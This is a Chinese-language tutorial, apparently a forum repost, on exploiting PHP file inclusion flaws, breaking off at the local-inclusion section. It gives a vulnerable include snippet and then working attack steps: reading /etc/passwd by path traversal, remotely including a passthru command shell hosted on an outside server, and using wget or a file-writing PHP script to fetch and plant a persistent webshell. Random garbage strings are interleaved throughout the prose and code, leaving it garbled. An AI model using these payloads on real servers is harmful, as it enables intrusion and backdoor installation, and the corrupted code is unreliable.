: @7 V B+ ~# I: L3 N8 p5 R( Ephp.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。Php4存在远程&本地,php5仅存在本地包含。' r9 j0 e3 p$ h/ J- e) ?
2 y v6 c$ z( V0 r# L' x' B
二、为什么要包含文件? / t6 `* Z* O5 {2 g ' b- V/ l' P1 j/ B程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比 如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想 在 main.php里包含share.php,我将这样写include(“share.php”)就达到目的,然后就可以使用share.php中的 函数了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?- D0 ~) T' f7 o( [
/ C8 Q' G2 Y" A) U6 D0 K
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码: , `9 p# ~0 K/ l) [* F, R ( ?" Q6 ]( }8 n2 ^9 \if ($_GET) { 6 D& o& ?. y4 q0 ~& p include $_GET; $ _$ A$ V! Z( a) R) ?$ G: I} else {/ R% T' F0 h3 L' \
include ”home.php”;0 k+ N$ K0 V9 C; H
} % T/ @# ~' F2 r! a7 l; m6 n" Y p! l# s7 H h
很正常的一段PHP代码,它是怎么运作的呢? / `) X: @3 \8 u' V9 W . N9 J$ Z2 f& u. x0 b上面这段代码的使用格式可能是这样的: & |# K2 t9 ^% w3 O# w . ]% m) |( k8 f- xhttp://hi.baidu.com/m4r10/php/index.php?page=main.php或者& k' j0 x, Y' t5 n: ?+ R http://hi.baidu.com/m4r10/php/index.php?page=downloads.php2 Z" T& E* F* ~$ W. x
4 W, }" U0 }/ X" G, q( ]7 f
结合上面代码,简单说下怎么运作的: 8 K/ {0 X0 j. W* R, D. @ U m6 v1 n2 c- W9 Z( K1.提交上面这个URL,在index.php中就取得这个page的值($_GET)。" b; z: d, y* V7 C. @+ l4 K
2.判断$_GET是不是空,若不空(这里是main.php)就用include来包含这个文件。 - N9 g3 N$ Y. p1 F, T3.若$_GET空的话就执行else,来 include ”home.php” 这个文件。 ! U0 j- s A" s8 X7 v1 G / R/ u0 x& f. C- `" W& ?三、为什么会产生漏洞? " C% E6 b: j9 K6 X$ {. ~% _, d( [+ r8 e5 |- i- o. |
你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们 不会按照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //hi.baidu.com /m4r10/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行:取 page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文件,所以 它 include的时候就会报警告,类似下列信息: ?3 Z3 X6 c8 a# E
+ c. s# ^ Z6 Z9 S
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3 ! C* ]$ E. i" Q& ^Warning: include() [function.include]: Failed opening ’hello.php’ for inclusion (include_path=’.:’) in /vhost/wwwroot/php/index.php on line 3' w8 Z, W4 [" }0 d% }4 g- J* a
" K9 H6 {( i5 ^1 d. [& k注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。0 z( ^7 F0 C+ z
2 m D. p; g: h- G- H u: P9 K四、如何利用?5 W1 [8 `4 O+ K6 H& Q! T
. a! C/ v: c; ?) {
上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:: U7 _2 d. t7 B& g9 A
: g0 s+ [* }( s7 v1.包含读出目标机上其它文件+ K' O1 O( k( A5 }/ e6 w1 M7 ^8 W# T
' G) ?0 X8 t1 ~+ p8 _
由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http://hi.baidu.com /m4r10/php/index.php?page=./txt.txt可以读出当前路径下的txt.txt文件,也可以使用../../进行目录跳转 (在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http://hi.baidu.com/m4r10 /php/index.php?page=/etc/passwd,如果目标主机没有对权限限制的很严格,或者启动Apache的权限比较高,是可以读出 这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning(这里是由于apache的open_basedir中限制了访问目录)。 J4 P. A, I) }) N
2 |1 X8 P2 U* K* D' E" d* G2.远程文件包含可运行的PHP木马 + p8 n4 }' B, U. C8 e) M% N& y: ~- S) w. O o
如果目标主机的”allow_url_fopen”是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它 URL上的一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码,如下保存为cmd.txt(后缀不重要,只要内容为 PHP格式就可以了)。 * o& x Y# O% { o0 v $ x1 A1 K b+ L/ J- bif (get_magic_quotes_gpc()){5 O# l- \. |$ i/ d/ H# F3 B
$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉转义字符(可去掉字符串中的反斜线字符)9 U8 m* G" \4 t) u$ h$ [
ini_set(“max_execution_time”,0); //设定针对这个文件的执行时间,0为不限制. 6 o) E. o6 b4 G+ T. S echo ”M4R10开始行”; //打印的返回的开始行提示信息 8 ~! C' n% w$ l: {4 j1 F) D$ D passthru($_REQUEST["cmd"]); //运行cmd指定的命令 5 N: U6 Z3 K$ q- ?1 J5 o+ G7 t# u% D echo ”M4R10结束行”; //打印的返回的结束行提示信息& N/ @' }$ W! k6 n2 T# C. X
?> # |$ n6 m* l* w8 d; A/ Z" @3 [ ) T Q9 ]' \" x; n) T2 O以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在M4R10开始行与M4R10结束行之间。把这个文件 保存到我们主机的服务器上(可以是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http://www.xxx.cn/cmd.txt,然后我们就可以在那个漏洞主机上构造如下URL来利用了:( j# M* l( \$ L
& ]6 Q+ W! E- u; A, Y W0 zhttp://hi.baidu.com/m4r10/php /index.php?page=http://www.xxx.cn/cmd.txt?cmd=ls ! F% t! o" R( h 9 d+ h# l$ `7 Y6 c' f其中cmd后面的就是你需要执行的命令,其它常 用的命令(以*UNIX为例)如下: 0 W, e$ ?8 d0 ?& h5 w " {4 W& F* }# M5 Gll 列目录、文件(相当于Windows下dir)% s: b- c* p1 V/ p V, U9 ?: Y- T
pwd 查看当前绝对路径* b5 D* p1 F x8 G1 e
id whoami 查看当前用户7 T3 t c+ ^% L
wget 下载指定URL的文件 , L+ u# u1 s% V% l; G) H ! Y2 J5 v3 J" a9 D; g- b7 q6 Q8 @等等其它的,你主机去BAIDU找吧,就不列举了。 V% w9 D' G2 E5 m/ _) i' t2 b
$ q1 X0 T3 q; P5 c: U
3.包含一个创建文件的PHP文件(常用)9 i$ P: D# R( U8 |
5 r, x e) ]# J3 G; `也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那 个” 伪”Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:" T: K$ L0 Q" S F( ~- R" u, m
K' W2 T o( O, G5 h1)使用wget之类的命令来下载一个Webshell" B; l8 ?" V0 z' ?7 i
7 B- c, o% V+ U; K
这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色,wget, 这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个 -O(–output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。 & r: P' I$ y) ?# y+ s/ U+ K8 ? 4 e, {0 h8 a+ W( S2 B o3 ]前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比 如:http://www.xxx.cn/m4r10.txt,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪 Webshell中 执行如下的URL:7 I. g# @8 Q$ m9 N& J* j. e
3 Q0 q9 b9 z1 q( q1 X9 P2 }. N http://hi.baidu.com/m4r10/php/index.php?page=http://www.xxx.cn /cmd.txt?cmd=wget http://www.xxx.cn/m4r10.txt -O m4r10.php) G6 `. u3 d! c" \& ]
/ w- p" T1 L. x3 P0 j如果当前目录可写,就能得到 一个叫做m4r10.php的Webshell了,如果当前目录不可写,还需要想其它的办法。0 x& g4 ]8 c. v2 c( t
& v8 K% M! L# P, _
2)使用文件来创建5 J# l3 c& R$ ]5 n
" ]& X9 H' c5 G; g/ T, L前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含一个创建文件(写文件)的PHP脚本,内容如下:$ g& Y4 }, O$ t* s4 m
* @7 h$ t: k$ y, B6 A
<?php ' ?5 [% y1 s+ s7 T8 J3 w3 s0 f$f=file_get_contents(“http://www.xxx.cn/m4r10.txt”); //打开指定路径的文件流 Y9 h% s9 p! q
$ff=fopen(“./upload/m4r10.php”,”a”); //寻找一个可以的目录,创建一个文件 8 T9 F, O7 E7 b1 o1 Mfwrite ($ff,$f); //把前面打开的文件流写到创建的文件里& q. Y" W0 U" Q' g- U+ M
fclose($ff); //关闭保存文件% }! _' I: O% q* {3 U# T
?>; Z) L9 O: Y3 v/ ?+ c# B7 Y, l0 [, b
3 b5 P7 P( g+ b- z9 Z1 y9 [9 i
还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以 写的目录,比如这里的upload,然后把文件创建在这个目录下:./upload/m4r10.php。然后就得到我们的Webshell了。 + e' D! {, C9 C& g: T T X+ y. W9 o1 p2 ?5 H7 C! n* f( H' m
4.本地文件包含(常用)6 t. \; K/ U, z5 h" F